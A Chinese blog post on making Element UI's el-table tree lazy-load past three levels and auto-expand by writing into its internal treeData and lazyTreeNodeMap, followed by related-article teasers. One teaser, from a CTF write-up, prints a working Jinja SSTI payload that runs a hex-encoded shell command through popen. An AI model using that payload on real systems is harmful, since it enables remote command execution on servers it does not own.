关于el-table中tree 懒加载默认3层及自动展开

1.问题

项目有用到el-table中使用tree 发现最多tree只显示到3层,及不能够自动展开的。

2.数据结构

经过探索,发现了el-table是通过treeData,和lazyTreeNodeMap 来控制懒加载数据对表格进行控制的。其中treeData的数据结构为
treeData数据结构
其主要用来保存数据结构,关系,展开、加载的状态的信息和父子关系;
lazyTreeNodeMap 是用来保存懒加载的数据
其结构为
lazyTreeNodeMap
每次懒加载的叶子数据的信息。

3.解决思路

所以如果要一次展开多层数据
1.应该往treeData里面添加项 并expanded设置为true
假如根为 x
则添加第一层为 x+1(key:默认是+1): {children:[x的子层key],其他参数}
子层1的子层 添为x+2 [x的子层1的子层]
子层2的子层
参数为 expanded(设置为true即可展开)、lazy 、level、loaded 、loading

2.应该往lazyTreeNodeMap 中添加懒加载的数据
x+1(key):[第一层数据]
x+2:[第二层数据1,第二层数据2]

4.上代码

//load函数async loadSubNode(row, treeNode, resolve) {if(treeNode.level === "" || treeNode.level!=0){row.expanded=true;row.layz=false;// 非懒加载的逻辑,直接将节点的子节点返if(Array.isArray(row.children) && resolve){resolve(row.children);}return ;}try{let resp =  await axios.post("/mam/search/getSubMcmDocNode", reqParams)//resp.data 包含子项及子项的子项等数据this.$set(row,'children', resp.data);resolve(resp.data);//这一行可以把子项的id添加到treeData上let index = this.hotels.findIndex(item=>item.id==row.id);if (row.children && row.children.length) {this.loadsubnode22(row);//给所有子孙项添加进  treeData\lazyTreeNodeMap 中}resolve([])//}catch (e) {console.log(e);}}loadsubnode22(node){if(!node.hasChildren || node.children.size==0){return false;}let subNodes = node.children;// 递归加载每个子节点的所有子孙节点subNodes.forEach(subNode => {this.customResolve(subNode);this.loadsubnode22(subNode);});},
//仿load函数中的resolve
customResolve(data){let children=data.children;let newKey = ++data.id;let o = this.$refs["table"].store.states.lazyTreeNodeMap;let x = this.$refs["table"].store.states.treeData;//treeData 添加父子关系和状态let childrenids=Array.from(children).map(item=>item.id);let metaInfo ={children:childrenids,display:true,expanded:true,//这里设置展开lazy:true,level:'',loaded:true,loading:false};this.$set(x,newKey,metaInfo);//lazyTreeNodeMap中 添加数据this.$set(o,newKey,children);
},

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/221274.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java】深入剖析Java枚举类

目录 定义1)定义2)内部实现3)方法与源码 高级特性1)switch用法2)自定义传值与构造函数3)枚举实现抽象方法4)枚举注解属性5)枚举实现接口6)复合使用 总结 定义 1&#xf…

LeetCode 309买卖股票的最佳时机含冷冻期 714买卖股票的最佳时机含手续费 | 代码随想录25期训练营day51

动态规划算法9 LeetCode 309 买卖股票的最佳时机含冷冻期 2023.12.14 题目链接代码随想录讲解[链接] int maxProfit(vector<int>& prices) {//1确定dp二维数组//dp[i][0]表示遍历到第i天时持有股票的当前收入;dp[i][1]表示遍历到第i天时未持有股票的当前收入//dp…

网页图标素材免费下载网站

这里是几个可以免费下载网页图标素材的的网站。这些个网站里的图表和素材&#xff0c;应该是都可以免费下载的。&#xff08;至少我下载了几个素材是没有花钱的&#xff09; Flaticon iconArchive freepik 4. iconmonstr 5. Icons and Photos For Everything 如果想下载图片&a…

idea中定时+多数据源配置

因项目要求,需要定时从达梦数据库中取数据,并插入或更新到ORACLE数据库中 1.pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-…

centos7服务器上的文件上传到谷歌云盘(google drive)

1,下载gdrive客户端&#xff0c;Releases glotlabs/gdrive GitHub 2&#xff0c;下载完解压,并移动到cp gdrive /usr/local/bin/ 3&#xff0c;查看是否安装成功 4,添加账户&#xff0c;gdrive account add 根据链接&#xff0c;创建Client id和 Client secret 5,填写Client…

QT-ClementineMusierPlaey音乐播放器

QT-ClementineMusierPlaey音乐播放器 一、效果二、下载链接 一、效果 二、下载链接 https://download.csdn.net/download/u013083044/88629413

致远互联-OA wpsAssistServlet 任意文件读取漏洞复现

0x01 产品简介 致远互联-OA 是数字化构建企业数字化协同运营中台,面向企业各种业务场景提供一站式大数据分析解决方案的协同办公软件。 0x02 漏洞概述 致远互联-OA wpsAssistServlet 存在任意文件读取漏洞,攻击者可读取系统密码等敏感信息进一步控制系统。 0x03 复现环境…

整理b站黑马程序员C++课程中对于计算机视觉学习有所帮助的知识点。(重点用*标出)

文章目录 1、注释2、变量3、常量4、标识符5、整型 浮点型 字符型 字符串 布尔6、输入 输出7、逻辑运算法8、 程序流程结构9、三目运算符10、switch语句11、循环语句12、跳转语句13、*数组13.1一维数组名 14、二维数组15、**函数15.1、函数的调用15.2、函数的声明15.3、函数份文…

VMware安装Windows V10

一、安装Windows系统 1.下载Windows IOS 镜像文件 Windows官网 1&#xff09;点击下载工具 2&#xff09;点击 MediaCreationTool22H2.exe 运行 3&#xff09;选择&#xff1a;为另一台电脑创建安装介质&#xff08;U盘、DVD或者ISO文件&#xff09; 4&#xff09;根据自身…

Flink的容错机制

容错机制 容错&#xff1a;指出错后不影响数据的继续处理&#xff0c;并且恢复到出错前的状态。 检查点&#xff1a;用存档读档的方式&#xff0c;将之前的某个时间点的所有状态保存下来&#xff0c;故障恢复继续处理的结果应该和发送故障前完全一致&#xff0c;这就是所谓的检…

纳米软件分享:电源自动测试系统是什么?有什么特点和优势?

随着技术的发展以及测试需求的严格性&#xff0c;一种新的、利用软硬件结合的自动化测试方式油然而生。 电源自动测试系统是一种用于电子与通信技术领域的电子测量仪器&#xff0c;可以提供众多变化的硬件选择&#xff0c;满足产品升级所带来的新的测试要求。电源自动测试系统通…

Windows ❀ 关闭Google的自动更新功能

文章目录 1. 故障问题2. 解决方法 1. 故障问题 如何关闭掉Google的自动更新功能&#xff1f; 2. 解决方法 修改更新域名本地hosts为环回地址即可。 # 禁止google自动更新 127.0.0.1 update.googleapis.com备注&#xff1a; mac路径&#xff1a;/etc/hostswindows路径&…

Ansible介绍与安装

Ansible目前是运维自动化工具中最简单、容易上手的一款优秀软件&#xff0c;能够用来管理各种资源。用户可以使用Ansible自动部署应用程序&#xff0c;以此实现IT基础架构的全面部署。例如&#xff0c;借助于Ansible&#xff0c;我们可以轻松地对服务器进行初始化配置、安全基线…

IDEA中显示方法、类注释信息

目录 一、IDEA测试版本及环境二、操作步骤2.1 鼠标悬停在某一个方法上&#xff0c;从而显示方法的注释信息2.2 调用方法时同步显示方法注释信息2.3 在new一个对象时&#xff0c;这个对象有很多重载的构造方法&#xff0c;想要重载的构造函数都显示出来 一、IDEA测试版本及环境 …

LeetCode刷题--- 二叉搜索树中第K小的元素

个人主页&#xff1a;元清加油_【C】,【C语言】,【数据结构与算法】-CSDN博客 个人专栏 力扣递归算法题 【 http://t.csdnimg.cn/yUl2I 】【C】 【 http://t.csdnimg.cn/6AbpV 】数据结构与算法 【 http://t.csdnimg.cn/hKh2l 】 前言&#…

在IDEA中配置Git的Push键

前言 笔者在重新安装IDEA过程中需要重新绑定了Git&#xff0c;发现提交代码过程中push键消失了&#xff0c;所以笔者就以这篇文章记录一下Git配置push键的详细过程。 注意笔者当前IDEA版本为2019&#xff0c;可能和读者有所区别&#xff0c;但是操作思路是差不多的。 操作步…

推荐域名销售管理系统网站源码

域名销售管理系统网站源码是一个完整的网站开发项目&#xff0c;包含了域名销售管理的各项功能&#xff0c;如域名搜索、购买、转让、续费等。源码采用了先进的技术和设计&#xff0c;能够满足用户的各种需求&#xff0c;是一个高效、稳定的域名销售管理系统。 演示地 址 &…

使用ThreadLocal.withIniti避免初始化为null问题

问题描述 我们在使用threadLocal的时&#xff0c;使用ThreadLocal.withInitial去初始化而不是使用new ThradLocal去初始化&#xff0c;这是为什么呢&#xff1f; 问题例子 比如说&#xff0c;假设我们想要在每个线程中维护一个独立的计数器 import java.util.concurrent.at…

【EI会议征稿】第五届机械仪表与自动化国际学术会议(ICMIA 2024)

第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09; The 5th International Conference on Mechanical Instrumentation and Automation 2024年第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09;定于2024年4月5-7日在中国武汉隆重…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…